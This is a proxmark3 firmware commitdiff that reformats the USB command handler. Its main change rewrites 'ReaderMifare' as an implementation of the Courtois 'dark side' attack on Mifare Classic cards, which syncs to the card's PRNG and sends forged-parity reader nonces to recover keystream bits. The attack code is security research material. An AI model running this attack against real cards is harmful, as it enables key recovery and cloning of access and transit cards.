]> git.zerfleddert.de Git - proxmark3-svn/commitdiff
(no commit message)
authormicki.held@gmx.de <micki.held@gmx.de@ef4ab9da-24cd-11de-8aaa-f3a34680c41f>
Mon, 8 Jul 2013 17:56:05 +0000 (17:56 +0000)
committermicki.held@gmx.de <micki.held@gmx.de@ef4ab9da-24cd-11de-8aaa-f3a34680c41f>
Mon, 8 Jul 2013 17:56:05 +0000 (17:56 +0000)
armsrc/appmain.c
armsrc/apps.h
armsrc/iso14443a.c
armsrc/mifarecmd.c
armsrc/util.c
armsrc/util.h
client/cmdhfmf.c
client/nonce2key/nonce2key.c
client/nonce2key/nonce2key.h

index cecf4d35e1156774fa02b26d0c997cdd08f986b8..c1d4940df30ef7fcea8c26e058fd16d5e6e2b9e0 100644 (file)
@@ -626,7 +626,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
 #ifdef WITH_LF
                case CMD_ACQUIRE_RAW_ADC_SAMPLES_125K:
                        AcquireRawAdcSamples125k(c->arg[0]);
-      cmd_send(CMD_ACK,0,0,0,0,0);
+                       cmd_send(CMD_ACK,0,0,0,0,0);
                        break;
                case CMD_MOD_THEN_ACQUIRE_RAW_ADC_SAMPLES_125K:
                        ModThenAcquireRawAdcSamples125k(c->arg[0],c->arg[1],c->arg[2],c->d.asBytes);
@@ -638,7 +638,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
                        CmdHIDsimTAG(c->arg[0], c->arg[1], 1);                                  // Simulate HID tag by ID
                        break;
     case CMD_HID_CLONE_TAG: // Clone HID tag by ID to T55x7
-      CopyHIDtoT55x7(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]);
+                       CopyHIDtoT55x7(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]);
                        break;
                case CMD_EM410X_WRITE_TAG:
                        WriteEM410x(c->arg[0], c->arg[1], c->arg[2]);
@@ -663,26 +663,26 @@ void UsbPacketReceived(uint8_t *packet, int len)
                case CMD_INDALA_CLONE_TAG_L:                                    // Clone Indala 224-bit tag by UID to T55x7
                        CopyIndala224toT55x7(c->d.asDwords[0], c->d.asDwords[1], c->d.asDwords[2], c->d.asDwords[3], c->d.asDwords[4], c->d.asDwords[5], c->d.asDwords[6]);
                        break;
-    case CMD_T55XX_READ_BLOCK:
-      T55xxReadBlock(c->arg[1], c->arg[2],c->d.asBytes[0]);
-      break;
-    case CMD_T55XX_WRITE_BLOCK:
-      T55xxWriteBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]);
-      break;
-    case CMD_T55XX_READ_TRACE: // Clone HID tag by ID to T55x7
-      T55xxReadTrace();
-      break;
-    case CMD_PCF7931_READ: // Read PCF7931 tag
-      ReadPCF7931();
-      cmd_send(CMD_ACK,0,0,0,0,0);
-//      UsbSendPacket((uint8_t*)&ack, sizeof(ack));
-      break;
-    case CMD_EM4X_READ_WORD:
-      EM4xReadWord(c->arg[1], c->arg[2],c->d.asBytes[0]);
-      break;
-    case CMD_EM4X_WRITE_WORD:
-      EM4xWriteWord(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]);
-      break;
+               case CMD_T55XX_READ_BLOCK:
+                       T55xxReadBlock(c->arg[1], c->arg[2],c->d.asBytes[0]);
+                       break;
+               case CMD_T55XX_WRITE_BLOCK:
+                       T55xxWriteBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]);
+                       break;
+               case CMD_T55XX_READ_TRACE: // Clone HID tag by ID to T55x7
+                       T55xxReadTrace();
+                       break;
+               case CMD_PCF7931_READ: // Read PCF7931 tag
+                       ReadPCF7931();
+                       cmd_send(CMD_ACK,0,0,0,0,0);
+//             UsbSendPacket((uint8_t*)&ack, sizeof(ack));
+                       break;
+               case CMD_EM4X_READ_WORD:
+                       EM4xReadWord(c->arg[1], c->arg[2],c->d.asBytes[0]);
+                       break;
+               case CMD_EM4X_WRITE_WORD:
+                       EM4xWriteWord(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]);
+                       break;
 #endif
 
 #ifdef WITH_HITAG
@@ -772,7 +772,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
                        break;
                        
                case CMD_READER_MIFARE:
-            ReaderMifare(c);
+            ReaderMifare(c->arg[0]);
                        break;
                case CMD_MIFARE_READBL:
                        MifareReadBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
@@ -863,7 +863,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
                        LED_D_OFF(); // LED D indicates field ON or OFF
                        break;
 
-               case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K: {
+               case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K:
 //                     UsbCommand n;
 //                     if(c->cmd == CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K) {
 //                             n.cmd = CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K;
@@ -877,24 +877,24 @@ void UsbPacketReceived(uint8_t *packet, int len)
       //                       UsbSendPacket((uint8_t *)&n, sizeof(n));
       //                       LED_B_OFF();
 
-      LED_B_ON();
-      for(size_t i=0; i<c->arg[1]; i += USB_CMD_DATA_SIZE) {
-        size_t len = MIN((c->arg[1] - i),USB_CMD_DATA_SIZE);
-        cmd_send(CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K,i,len,0,((byte_t*)BigBuf)+c->arg[0]+i,len);
-      }
-      // Trigger a finish downloading signal with an ACK frame
-      cmd_send(CMD_ACK,0,0,0,0,0);
+                       LED_B_ON();
+                       for(size_t i=0; i<c->arg[1]; i += USB_CMD_DATA_SIZE) {
+                               size_t len = MIN((c->arg[1] - i),USB_CMD_DATA_SIZE);
+                               cmd_send(CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K,i,len,0,((byte_t*)BigBuf)+c->arg[0]+i,len);
+                       }
+                       // Trigger a finish downloading signal with an ACK frame
+                       cmd_send(CMD_ACK,0,0,0,0,0);
                        LED_B_OFF();
-               } break;
+                       break;
 
                case CMD_DOWNLOADED_SIM_SAMPLES_125K: {
                        uint8_t *b = (uint8_t *)BigBuf;
                        memcpy(b+c->arg[0], c->d.asBytes, 48);
                        //Dbprintf("copied 48 bytes to %i",b+c->arg[0]);
 //                     UsbSendPacket((uint8_t*)&ack, sizeof(ack));
-      cmd_send(CMD_ACK,0,0,0,0,0);
-               } break;
-
+                       cmd_send(CMD_ACK,0,0,0,0,0);
+                       break;
+               }       
                case CMD_READ_MEM:
                        ReadMem(c->arg[0]);
                        break;
@@ -926,35 +926,35 @@ void UsbPacketReceived(uint8_t *packet, int len)
 #endif
                case CMD_SETUP_WRITE:
                case CMD_FINISH_WRITE:
-               case CMD_HARDWARE_RESET: {
-      usb_disable();
+               case CMD_HARDWARE_RESET:
+                       usb_disable();
                        SpinDelay(1000);
                        SpinDelay(1000);
                        AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST;
                        for(;;) {
                                // We're going to reset, and the bootrom will take control.
                        }
-        } break;
+                       break;
 
-               case CMD_START_FLASH: {
+               case CMD_START_FLASH:
                        if(common_area.flags.bootrom_present) {
                                common_area.command = COMMON_AREA_COMMAND_ENTER_FLASH_MODE;
                        }
-      usb_disable();
+                       usb_disable();
                        AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST;
                        for(;;);
-        } break;
+                       break;
 
                case CMD_DEVICE_INFO: {
                        uint32_t dev_info = DEVICE_INFO_FLAG_OSIMAGE_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_OS;
                        if(common_area.flags.bootrom_present) dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT;
 //                     UsbSendPacket((uint8_t*)&c, sizeof(c));
-      cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0);
-               } break;
-            
-               default: {
+                       cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0);     
+                       break;
+               }
+               default:
                        Dbprintf("%s: 0x%04x","unknown command:",c->cmd);
-        } break;
+                       break;
        }
 }
 
index 2f003cc49ab0600df0761b1951b5ad19a54d78c3..394b0192cc37741d1ab4bdb9075bb7154160df87 100644 (file)
@@ -156,7 +156,7 @@ void RAMFUNC SniffMifare(uint8_t param);
 void EPA_PACE_Collect_Nonce(UsbCommand * c);
 
 // mifarecmd.h
-void ReaderMifare(UsbCommand *c);
+void ReaderMifare(bool first_try);
 void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *data);
 void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain);
 void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain);
index 111d713989caa1abc4d50ffa55513d95f83b6cf0..56afaeb84931dd3d1ee350576de0436c536eca4b 100644 (file)
@@ -1515,7 +1515,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int
        // Signal field is on with the appropriate LED
        LED_D_ON();
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
-
+       
        // Now get the answer from the card
        Demod.output = receivedResponse;
        Demod.len = 0;
@@ -1612,11 +1612,11 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
   int len;
         
   // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
-  ReaderTransmitBitsPar(wupa,7,0);
+    ReaderTransmitBitsPar(wupa,7,0);
   // Receive the ATQA
   if(!ReaderReceive(resp)) return 0;
 //  Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
-  
+
   if(p_hi14a_card) {
     memcpy(p_hi14a_card->atqa, resp, 2);
     p_hi14a_card->uidlen = 0;
@@ -1625,7 +1625,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
        
   // clear uid
   if (uid_ptr) {
-    memset(uid_ptr,0,8);
+    memset(uid_ptr,0,10);
   }
 
   // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
@@ -1688,7 +1688,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u
   // Request for answer to select
   AppendCrc14443a(rats, 2);
   ReaderTransmit(rats, sizeof(rats));
-  
+
   if (!(len = ReaderReceive(resp))) return 0;
 
   if(p_hi14a_card) {
@@ -1811,354 +1811,266 @@ void ReaderIso14443a(UsbCommand * c)
        LEDsoff();
 }
 
-#define TEST_LENGTH 100
-typedef struct mftest{
-    uint8_t nt[8];
-    uint8_t count;
-}mftest ;
-
-/**
- *@brief Tunes the mifare attack settings. This method checks the nonce entropy when
- *using a specified timeout.
- *Different cards behave differently, some cards require up to a second to power down (and thus reset
- *token generator), other cards are fine with 50 ms.
- *
- * @param time
- * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
- *zero indicates a low entropy: the given timeout is sufficient to power down the card.
- */
-int TuneMifare(int time)
+
+// prepare the Mifare AUTH transfer with an added necessary delay.
+void PrepareDelayedAuthTransfer(uint8_t* frame, int len, uint16_t delay)
 {
-    // Mifare AUTH
-    uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
-    uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
-
-    iso14443a_setup();
-    int TIME1=time;
-    int TIME2=2000;
-    uint8_t uid[8];
-    uint32_t cuid;
-    byte_t nt[4];
-    Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time);
-
-
-    mftest nt_values[TEST_LENGTH];
-    int nt_size = 0;
-    int i = 0;
-    for(i = 0 ; i< 100 ; i++)
-    {
-        LED_C_OFF();
-        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-        SpinDelay(TIME1);
-        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-        LED_C_ON();
-        SpinDelayUs(TIME2);
-        if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
-
-        // Transmit MIFARE_CLASSIC_AUTH
-        ReaderTransmit(mf_auth, sizeof(mf_auth));
-
-        // Receive the (16 bit) "random" nonce
-        if (!ReaderReceive(receivedAnswer)) continue;
-        memcpy(nt, receivedAnswer, 4);
-
-        //store it
-        int already_stored = 0;
-        for(int i =  0 ; i < nt_size && !already_stored; i++)
-        {
-            if( memcmp(nt, nt_values[i].nt, 4) == 0)
-            {
-                nt_values[i].count++;
-                already_stored = 1;
-            }
-        }
-        if(!already_stored)
-        {
-            mftest* ptr= &nt_values[nt_size++];
-            //Clear it before use
-            memset(ptr, 0, sizeof(mftest));
-            memcpy(ptr->nt, nt, 4);
-            ptr->count = 1;
-        }
+       CodeIso14443aBitsAsReaderPar(frame, len*8, GetParity(frame,len));
 
-        if(BUTTON_PRESS())
-        {
-            Dbprintf("Tuning aborted prematurely");
-            break;
-        }
-    }
-    /*
-    for(int i = 0 ; i < nt_size;i++){
-        mftest x = nt_values[i];
-        Dbprintf("%d,%d,%d,%d   : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
-    }
-    */
-    int result = nt_size *100 / i;
-    Dbprintf("      ... results for %d ms : %d %",time, result);
-    return result;
+       uint8_t bitmask = 0;
+       uint8_t bits_to_shift = 0;
+       uint8_t bits_shifted = 0;
+       
+       if (delay) {
+               for (uint16_t i = 0; i < delay; i++) {
+                       bitmask |= (0x01 << i);
+               }
+               ToSend[++ToSendMax] = 0x00;
+               for (uint16_t i = 0; i < ToSendMax; i++) {
+                       bits_to_shift = ToSend[i] & bitmask;
+                       ToSend[i] = ToSend[i] >> delay;
+                       ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+                       bits_shifted = bits_to_shift;
+               }
+       }
 }
 
-//-----------------------------------------------------------------------------
-// Read an ISO 14443a tag. Send out commands and store answers.
-//
-//-----------------------------------------------------------------------------
-#define STATE_SIZE 100
-typedef struct AttackState{
-    byte_t nt[4];
-    byte_t par_list[8];
-    byte_t ks_list[8];
-    byte_t par;
-    byte_t par_low;
-    byte_t nt_diff;
-    uint8_t mf_nr_ar[8];
-} AttackState;
-
-
-int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
-{
 
-    // Transmit reader nonce and reader answer
-    ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
 
-    // Receive 4 bit answer
-    int len = ReaderReceive(receivedAnswer);
-    if (!len)
-    {
-        if (pState->nt_diff == 0)
-        {
-            pState->par++;
-        } else {
-            pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
-        }
-        return 2;
-    }
-    if(pState->nt_diff == 0)
-    {
-        pState->par_low = pState->par & 0x07;
-    }
-    //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
-    //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
-    //isNULL =  0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
-     //
-      //  if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
-
-    //led_on = !led_on;
-    //if(led_on) LED_B_ON(); else LED_B_OFF();
-    pState->par_list[pState->nt_diff] = pState->par;
-    pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
-
-    // Test if the information is complete
-    if (pState->nt_diff == 0x07) {
-        return 0;
-    }
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+       uint16_t i;
+       uint32_t nttmp1, nttmp2;
+
+       if (nt1 == nt2) return 0;
 
-    pState->nt_diff = (pState->nt_diff + 1) & 0x07;
-    pState->mf_nr_ar[3] = pState->nt_diff << 5;
-    pState->par = pState->par_low;
-    return 1;
+       nttmp1 = nt1;
+       nttmp2 = nt2;
+       
+       for (i = 1; i < 32768; i++) {
+               nttmp1 = prng_successor(nttmp1, 1);
+               if (nttmp1 == nt2) return i;
+               nttmp2 = prng_successor(nttmp2, 1);
+                       if (nttmp2 == nt1) return -i;
+               }
+       
+       return(-99999); // either nt1 or nt2 are invalid nonces
 }
 
-void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
-{
-    LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
-    LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
-    LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
-
-    byte_t buf[48];
-    memcpy(buf + 0,  uid, 4);
-    if(pState != NULL)
-    {
-        memcpy(buf + 4,  pState->nt, 4);
-        memcpy(buf + 8,  pState->par_list, 8);
-        memcpy(buf + 16, pState->ks_list, 8);
-    }
 
-    LED_B_ON();
-    cmd_send(CMD_ACK,isOK,0,0,buf,48);
-    LED_B_OFF();
+//-----------------------------------------------------------------------------
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
+//-----------------------------------------------------------------------------
+void ReaderMifare(bool first_try)
+{
+       // Mifare AUTH
+       uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
+       uint8_t mf_nr_ar[]   = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+       static uint8_t mf_nr_ar3;
 
-    // Thats it...
-    FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-    LEDsoff();
-    tracing = TRUE;
+       uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+       traceLen = 0;
+       tracing = false;
 
-    if (MF_DBGLEVEL >= 1)      DbpString("COMMAND mifare FINISHED");
-}
+       byte_t nt_diff = 0;
+       byte_t par = 0;
+       //byte_t par_mask = 0xff;
+       static byte_t par_low = 0;
+       bool led_on = TRUE;
+       uint8_t uid[10];
+       uint32_t cuid;
 
-void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time);
-
-/**
- * @brief New implementation of ReaderMifare, the classic mifare attack.
- *  This implementation is backwards-compatible, but has some added parameters.
- * @param c the usbcommand in complete
- *  c->arg[0] - nt_noattack (deprecated)
- *  c->arg[1] - offset_time us (0 => random)
- *  c->arg[2] - powerdown_time ms (0=> tuning)
- *
- */
-void ReaderMifare(UsbCommand *c)
-{
-    /*
-     * The 'no-attack' is not used anymore, with the introduction of
-     * state tables. Instead, we use an offset which is random. This means that we
-     * should not get stuck on a 'bad' nonce, so no-attack is not needed.
-     * Anyway, arg[0] is reserved for backwards compatibility
-    uint32_t nt_noattack_uint = c->arg[0];
-    byte_t nt_noattack[4];
-    num_to_bytes(parameter, 4, nt_noattack_uint);
-
-     */
-    /*
-     *IF, for some reason, you want to attack a specific nonce or whatever,
-     *you can specify the offset time yourself, in which case it won't be random.
-     *
-     * The offset time is microseconds, MICROSECONDS, not ms.
-     */
-    uint32_t offset_time = c->arg[1];
-    if(offset_time == 0)
-    {
-        //[Martin:]I would like to have used rand(), but linking problems prevented it
-        //offset_time = rand() % 4000;
-        //So instead, I found this nifty thingy, which seems to fit the bill
-        offset_time = GetTickCount() % 2000;
-    }
-    /*
-     * There is an implementation of tuning. Tuning will try to determine
-     * a good power-down time, which is different for different cards.
-     * If a value is specified from the packet, we won't do any tuning.
-     * A value of zero will initialize a tuning.
-     * The power-down time is milliseconds, that MILLI-seconds .
-     */
-    uint32_t powerdown_time = c->arg[2];
-    if(powerdown_time == 0)
-    {
-        //Tuning required
-        int entropy = 100;
-        int time = 25;
-        entropy = TuneMifare(time);
-
-        while(entropy > 50 && time < 2000){
-            //Increase timeout, but never more than 500ms at a time
-            time = MIN(time*2, time+500);
-            entropy = TuneMifare(time);
-        }
-        if(entropy > 50){
-            Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
-        }
-        powerdown_time = time;
-    }
-    //The actual attack
-    ReaderMifareBegin(offset_time, powerdown_time);
-}
-void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time)
-{
-    Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time);
+       uint32_t nt, previous_nt;
+       static uint32_t nt_attacked = 0;
+       byte_t par_list[8] = {0,0,0,0,0,0,0,0};
+       byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
 
-    /**
-     *Allocate our state-table and initialize with zeroes
-     **/
+       static uint32_t sync_time;
+       static uint32_t sync_cycles;
+       int catch_up_cycles = 0;
+       int last_catch_up = 0;
+       uint16_t consecutive_resyncs = 0;
+       int isOK = 0;
 
-    AttackState states[STATE_SIZE] ;
-    //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
-    memset(states, 0, STATE_SIZE*sizeof(AttackState));
 
-    // Mifare AUTH
-       uint8_t mf_auth[]    = { 0x60,0x00,0xf5,0x7b };
-       uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);   // was 3560 - tied to other size changes
 
-    traceLen = 0;
-       tracing = false;
+       if (first_try) { 
+               StartCountMifare();
+               mf_nr_ar3 = 0;
+               iso14443a_setup();
+               FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // resets some FPGA internal registers
+               while((GetCountMifare() & 0xffff0000) != 0x10000);              // wait for counter to reset and "warm up" 
+               while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME);              // wait for ssp_frame to be low
+               while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME));   // sync on rising edge of ssp_frame
+               sync_time = GetCountMifare();
+               sync_cycles = 65536;                                                                    // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+               nt_attacked = 0;
+               nt = 0;
+               par = 0;
+       }
+       else {
+               // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+               // nt_attacked = prng_successor(nt_attacked, 1);
+               mf_nr_ar3++;
+               mf_nr_ar[3] = mf_nr_ar3;
+               par = par_low;
+       }
 
-       iso14443a_setup();
        LED_A_ON();
        LED_B_OFF();
        LED_C_OFF();
+       
+  
+       for(uint16_t i = 0; TRUE; i++) {
+               
+               WDT_HIT();
 
-       LED_A_OFF();
-       uint8_t uid[8];
-       uint32_t cuid;
+               // Test if the action was cancelled
+               if(BUTTON_PRESS()) {
+                       break;
+               }
+               
+               LED_C_ON();
 
-    byte_t nt[4];
-    int nts_attacked= 0;
-    //Keeps track of progress (max value of nt_diff for our states)
-    int progress = 0;
-    int high_entropy_warning_issued = 0;
-    while(!BUTTON_PRESS())
-       {
-               LED_C_OFF();
-               FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
-        SpinDelay(powerdown_time);
+               if(!iso14443a_select_card(uid, NULL, &cuid)) {
+                       continue;
+               }
+
+               //keep the card active
                FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
-               LED_C_ON();
-        SpinDelayUs(offset_time);
 
-               if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+               PrepareDelayedAuthTransfer(mf_auth, sizeof(mf_auth), (sync_cycles + catch_up_cycles) & 0x00000007);
 
+               sync_time = sync_time + ((sync_cycles + catch_up_cycles) & 0xfffffff8);
+               catch_up_cycles = 0;
+
+               // if we missed the sync time already, advance to the next nonce repeat
+               while(GetCountMifare() > sync_time) {
+                       sync_time = sync_time + (sync_cycles & 0xfffffff8);
+               }
+
+               // now sync. After syncing, the following Classic Auth will return the same tag nonce (mostly)
+               while(GetCountMifare() < sync_time);
+               
                // Transmit MIFARE_CLASSIC_AUTH
-               ReaderTransmit(mf_auth, sizeof(mf_auth));
-
-               // Receive the (16 bit) "random" nonce
-               if (!ReaderReceive(receivedAnswer)) continue;
-        memcpy(nt, receivedAnswer, 4);
-
-        //Now we have the NT. Check if this NT is already under attack
-        AttackState* pState = NULL;
-        int i = 0;
-        for(i = 0 ; i < nts_attacked && pState == NULL; i++)
-        {
-            if( memcmp(nt, states[i].nt, 4) == 0)
-            {
-                //we have it
-                pState = &states[i];
-                //Dbprintf("Existing state found (%d)", i);
-            }
-        }
+               int samples = 0;
+               int wait = 0;
+               TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
 
-        if(pState == NULL){
-            if(nts_attacked < STATE_SIZE )
-            {
-                //Initialize  a new state
-                pState = &states[nts_attacked++];
-                //Clear it before use
-                memset(pState, 0, sizeof(AttackState));
-                memcpy(pState->nt, nt, 4);
-                i = nts_attacked;
-                //Dbprintf("New state created, nt=");
-            }else if(!high_entropy_warning_issued){
-                /**
-                 *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
-                 *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
-                 *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
-                 *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
-                 */
-                DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
-                high_entropy_warning_issued = 1;
-            }
-        }
-        if(pState == NULL) continue;
-
-        int result = continueAttack(pState, receivedAnswer);
-
-        if(result == 1){
-            //One state progressed another step
-            if(pState->nt_diff >  progress)
-            {
-                progress = pState->nt_diff;
-                //Alert the user
-                Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
-            }
-            //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
-        }
-        else if(result == 2){
-            //Dbprintf("Continue attack no answer, par is now %d", pState->par);
-        }
-        else if(result == 0){
-            reportResults(uid,pState,1);
-            return;
-        }
-    }
-    reportResults(uid,NULL,0);
+               // Receive the (4 Byte) "random" nonce
+               if (!ReaderReceive(receivedAnswer)) {
+                       continue;
+                 }
+
+               previous_nt = nt;
+               nt = bytes_to_num(receivedAnswer, 4);
+
+               // Transmit reader nonce with fake par
+               ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par);
+
+               if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+                       int nt_distance = dist_nt(previous_nt, nt);
+                       if (nt_distance == 0) {
+                               nt_attacked = nt;
+                       }
+                       else {
+                               if (nt_distance == -99999) { // invalid nonce received, try again
+                                       continue;
+                               }
+                               sync_cycles = (sync_cycles - nt_distance);
+//                             Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+                               continue;
+                       }
+               }
+
+               if ((nt != nt_attacked) && nt_attacked) {       // we somehow lost sync. Try to catch up again...
+                       catch_up_cycles = -dist_nt(nt_attacked, nt);
+                       if (catch_up_cycles == 99999) {                 // invalid nonce received. Don't resync on that one.
+                               catch_up_cycles = 0;
+                               continue;
+                       }
+                       if (catch_up_cycles == last_catch_up) {
+                               consecutive_resyncs++;
+                       }
+                       else {
+                               last_catch_up = catch_up_cycles;
+                           consecutive_resyncs = 0;
+                       }
+                       if (consecutive_resyncs < 3) {
+                               Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+                       }
+                       else {  
+                               sync_cycles = sync_cycles + catch_up_cycles;
+                               Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+                       }
+                       continue;
+               }
+               consecutive_resyncs = 0;
+               
+               // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+               if (ReaderReceive(receivedAnswer))
+               {
+                       catch_up_cycles = 8;    // the PRNG doesn't run during data transfers. 4 Bit = 8 cycles
+       
+                       if (nt_diff == 0)
+                       {
+                               par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
+                       }
+
+                       led_on = !led_on;
+                       if(led_on) LED_B_ON(); else LED_B_OFF();
+
+                       par_list[nt_diff] = par;
+                       ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
+
+                       // Test if the information is complete
+                       if (nt_diff == 0x07) {
+                               isOK = 1;
+                               break;
+                       }
+
+                       nt_diff = (nt_diff + 1) & 0x07;
+                       mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
+                       par = par_low;
+               } else {
+                       if (nt_diff == 0 && first_try)
+                       {
+                               par++;
+                       } else {
+                               par = (((par >> 3) + 1) << 3) | par_low;
+                       }
+               }
+       }
+
+       LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
+       LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
+       LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
+
+       mf_nr_ar[3] &= 0x1F;
+       
+       byte_t buf[28];
+       memcpy(buf + 0,  uid, 4);
+       num_to_bytes(nt, 4, buf + 4);
+       memcpy(buf + 8,  par_list, 8);
+       memcpy(buf + 16, ks_list, 8);
+       memcpy(buf + 24, mf_nr_ar, 4);
+               
+       cmd_send(CMD_ACK,isOK,0,0,buf,28);
+
+       // Thats it...
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       LEDsoff();
+       tracing = TRUE;
 }
+
 //-----------------------------------------------------------------------------
 // MIFARE 1K simulate. 
 // 
index f328b1231f63600cb687b98ea13417d953c5c29b..02470702a8207d82865c1903b8d6548330d512e5 100644 (file)
@@ -28,7 +28,7 @@ void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain)
        // variables\r
        byte_t isOK = 0;\r
